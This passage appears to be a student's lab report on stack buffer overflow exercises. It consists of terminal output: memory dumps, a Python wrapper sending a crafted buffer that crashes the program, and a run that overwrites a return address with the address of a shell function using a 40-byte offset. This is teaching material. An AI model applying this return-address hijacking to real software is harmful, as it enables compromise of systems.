

- ```
ubuntu@DESKTOP-4RRN9G8 /m/c/U/F/D/g/2/Activity_IX-Buffer_Overflow_Attacks>./ex11
l&main = 0x000000000401176
&myfunction = 0x0000000004011f8
&&ret_addr = 0x0000000004011e2
&i = 0x00007fffe74c928c → local var not in here!
sizeof(pointer) is 8
&buf[0] = 0x00007fffe74c9290
0x00007fffe74c92cc: 0xa4
0x00007fffe74c92cb: 0x10 0x00007fffe74c92ca: 0x81 0x00007fffe74c92c9: 0x9d 0x00007fffe74c92c8: 0x90
0x00007fffe74c92c7: 0x00 0x00007fffe74c92c6: 0x00 0x00007fffe74c92c5: 0x00 0x00007fffe74c92c4: 0x00
0x00007fffe74c92c3: 0x00 0x00007fffe74c92c2: 0x00 0x00007fffe74c92c1: 0x00 0x00007fffe74c92c0: 0x01
0x00007fffe74c92bf: 0x00 0x00007fffe74c92be: 0x00 0x00007fffe74c92bd: 0x00 0x00007fffe74c92bc: 0x00
0x00007fffe74c92bb: 0x00 0x00007fffe74c92ba: 0x40 0x00007fffe74c92b9: 0x11 0x00007fffe74c92b8: 0xe2
0x00007fffe74c92b7: 0x00 0x00007fffe74c92b6: 0x00 0x00007fffe74c92b5: 0xf7 0x00007fffe74c92b4: 0xf7
0x00007fffe74c92b3: 0xe7 0x00007fffe74c92b2: 0x4c 0x00007fffe74c92b1: 0x92 0x00007fffe74c92b0: 0xc0
0x00007fffe74c92af: 0x00 0x00007fffe74c92ae: 0x00 0x00007fffe74c92ad: 0x7f 0x00007fffe74c92ac: 0xa4
0x00007fffe74c92ab: 0x10 0x00007fffe74c92aa: 0xa5 0x00007fffe74c92a9: 0xb2 0x00007fffe74c92a8: 0xe0
0x00007fffe74c92a7: 0x00 0x00007fffe74c92a6: 0x00 0x00007fffe74c92a5: 0x00 0x00007fffe74c92a4: 0x00
0x00007fffe74c92a3: 0x00 0x00007fffe74c92a2: 0x38 0x00007fffe74c92a1: 0x37 0x00007fffe74c92a0: 0x36
0x00007fffe74c929f: 0x35 0x00007fffe74c929e: 0x34 0x00007fffe74c929d: 0x33 0x00007fffe74c929c: 0x32
0x00007fffe74c929b: 0x31 0x00007fffe74c929a: 0x30 0x00007fffe74c9299: 0x39 0x00007fffe74c9298: 0x38
0x00007fffe74c9297: 0x37 0x00007fffe74c9296: 0x36 0x00007fffe74c9295: 0x35 0x00007fffe74c9294: 0x34
0x00007fffe74c9293: 0x33 0x00007fffe74c9292: 0x32 0x00007fffe74c9291: 0x31
h.. end
```

```
ubuntu@DESKTOP-4RRN9G8:/m/c/U/F/D/g/2/Activity_IX-Buffer_Overflow_Attacks> python3 ./ex2_wrapper.py
lexec ./ex2 with buff b'xx\x06\x11@'h
&main = 0x401360
&concat_arguments = 0x401258
&greeting = 0x4011b6
Welcome to exercise II
I hope you enjoy it

&i = 0x7fffc634291c
&buf[0] = 0x7fffc6342920
xx@
Welcome to exercise II
I hope you enjoy it

fish: Job 1, 'python3 ./ex2_wrapper.py' terminated by signal SIGSEGV (Address boundary error)
```

But the same meaning of an error "Segmentation Fault".

### 3. Challenging:

```
ubuntu@DESKTOP-4RRN9G8 /m/c/U/F/D/g/2/Activity_IX-Buffer_Overflow_Attacks [1]> python3 ./ex3_wrapper.py
Offset (40?):40
Target (shell) address (eg. 5647740e61b5): 0000401236
ls
[1] input: Input is
xx6@
0x7ffffe93b940: 0x00
0x7ffffe93b93f: 0x00 0x7ffffe93b93e: 0x00 0x7ffffe93b93d: 0x00 0x7ffffe93b93c: 0x00
0x7ffffe93b93b: 0x00 0x7ffffe93b93a: 0x00 0x7ffffe93b939: 0x00 0x7ffffe93b938: 0x00
0x7ffffe93b937: 0x00 0x7ffffe93b936: 0x00 0x7ffffe93b935: 0x00 0x7ffffe93b934: 0x00
0x7ffffe93b933: 0x00 0x7ffffe93b932: 0x00 0x7ffffe93b931: 0x00 0x7ffffe93b930: 0x00
0x7ffffe93b92f: 0x00 0x7ffffe93b92e: 0x73 0x7ffffe93b92d: 0x6c 0x7ffffe93b92c: 0x00
0x7ffffe93b92b: 0x00 0x7ffffe93b92a: 0x40 0x7ffffe93b929: 0x12 0x7ffffe93b928: 0x36
0x7ffffe93b927: 0x78 0x7ffffe93b926: 0x78 0x7ffffe93b925: 0x78 0x7ffffe93b924: 0x78
0x7ffffe93b923: 0x78 0x7ffffe93b922: 0x78 0x7ffffe93b921: 0x78 0x7ffffe93b920: 0x78
0x7ffffe93b91f: 0x78 0x7ffffe93b91e: 0x78 0x7ffffe93b91d: 0x78 0x7ffffe93b91c: 0x78
0x7ffffe93b91b: 0x78 0x7ffffe93b91a: 0x78 0x7ffffe93b919: 0x78 0x7ffffe93b918: 0x78
0x7ffffe93b917: 0x78 0x7ffffe93b916: 0x78 0x7ffffe93b915: 0x78 0x7ffffe93b914: 0x78
0x7ffffe93b913: 0x78 0x7ffffe93b912: 0x78 0x7ffffe93b911: 0x78 0x7ffffe93b910: 0x78
0x7ffffe93b90f: 0x78 0x7ffffe93b90e: 0x78 0x7ffffe93b90d: 0x78 0x7ffffe93b90c: 0x78
0x7ffffe93b90b: 0x78 0x7ffffe93b90a: 0x78 0x7ffffe93b909: 0x78 0x7ffffe93b908: 0x78
0x7ffffe93b907: 0x78 0x7ffffe93b906: 0x78 0x7ffffe93b905: 0x78 0x7ffffe93b904: 0x78
0x7ffffe93b903: 0x78 0x7ffffe93b902: 0x78 0x7ffffe93b901: 0x78 0x7ffffe93b900: 0x78
0x7ffffe93b8ff: 0x00 0x7ffffe93b8fe: 0x00 0x7ffffe93b8fd: 0x00 0x7ffffe93b8fc: 0x01
0x7ffffe93b8fb: 0x00 0x7ffffe93b8fa: 0x00 0x7ffffe93b8f9: 0x00 0x7ffffe93b8f8: 0x00
0x7ffffe93b8f7: 0x00 0x7ffffe93b8f6: 0x00 0x7ffffe93b8f5: 0x7f 0x7ffffe93b8f4: 0xff
0x7ffffe93b8f3: 0xfe 0x7ffffe93b8f2: 0x93 0x7ffffe93b8f1: 0xe1 0x7ffffe93b8f0: 0x38
0x7ffffe93b8ef: 0x00 0x7ffffe93b8ee: 0x00 0x7ffffe93b8ed: 0x00 0x7ffffe93b8ec: 0x00
0x7ffffe93b8eb: 0x00 0x7ffffe93b8ea: 0x40 0x7ffffe93b8e9: 0x12 0x7ffffe93b8e8: 0x36
0x7ffffe93b8e7: 0x78 0x7ffffe93b8e6: 0x78 0x7ffffe93b8e5: 0x78 0x7ffffe93b8e4: 0x78
0x7ffffe93b8e3: 0x78 0x7ffffe93b8e2: 0x78 0x7ffffe93b8e1: 0x78 0x7ffffe93b8e0: 0x78
0x7ffffe93b8df: 0x78 0x7ffffe93b8de: 0x78 0x7ffffe93b8dd: 0x78 0x7ffffe93b8dc: 0x78
0x7ffffe93b8db: 0x78 0x7ffffe93b8da: 0x78 0x7ffffe93b8d9: 0x78 0x7ffffe93b8d8: 0x78
0x7ffffe93b8d7: 0x78 0x7ffffe93b8d6: 0x78 0x7ffffe93b8d5: 0x78 0x7ffffe93b8d4: 0x78
0x7ffffe93b8d3: 0x78 0x7ffffe93b8d2: 0x78 0x7ffffe93b8d1: 0x78 0x7ffffe93b8d0: 0x78
0x7ffffe93b8cf: 0x78 0x7ffffe93b8ce: 0x78 0x7ffffe93b8cd: 0x78 0x7ffffe93b8cc: 0x78
0x7fff
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This is just for demonstration.
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shell inc addr